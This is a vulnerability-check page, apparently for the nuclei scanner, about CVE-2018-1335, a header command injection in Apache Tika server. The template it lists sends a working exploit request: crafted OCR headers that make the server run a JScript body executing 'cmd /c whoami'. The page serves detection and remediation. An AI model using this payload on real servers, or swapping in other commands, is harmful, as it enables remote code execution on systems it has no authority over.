Apache Tika < 1.1.8 - Header Command Injection

highseverity

8.1CVSS score

93.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server.

Fix

Upgrade to Tika 1.18.

How to confirm it

Send: PUT {{BaseURL}}/meta
Positive when: contains in header "Content-Type: text/csv" AND contains "org.apache.tika.parser.DefaultParser" and "org.apache.tika.parser.gdal.GDALParse" AND status 200

Run it with nuclei: nuclei -id CVE-2018-1335 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-1335

info:
  name: Apache Tika < 1.1.8 - Header Command Injection
  author: pikpikcu
  severity: high
  description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server.
  remediation: Upgrade to Tika 1.18.
  reference:
    - https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
    - https://www.exploit-db.com/exploits/47208
    - https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1335
    - http://packetstormsecurity.com/files/153864/Apache-Tika-1.17-Header-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-1335
    epss-score: 0.93644
    epss-percentile: 0.99843
    cpe: cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: tika
  tags: cve,cve2018,packetstorm,edb,apache,tika,rce,intrusive,vkev,vuln

http:
  - method: PUT
    path:
      - "{{BaseURL}}/meta"

    body: var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");

    headers:
      X-Tika-OCRTesseractPath: cscript
      X-Tika-OCRLanguage: //E:Jscript
      Expect: 100-continue
      Content-type: image/jp2
      Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: text/csv"

      - type: word
        part: body
        words:
          - org.apache.tika.parser.DefaultParser
          - org.apache.tika.parser.gdal.GDALParse
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from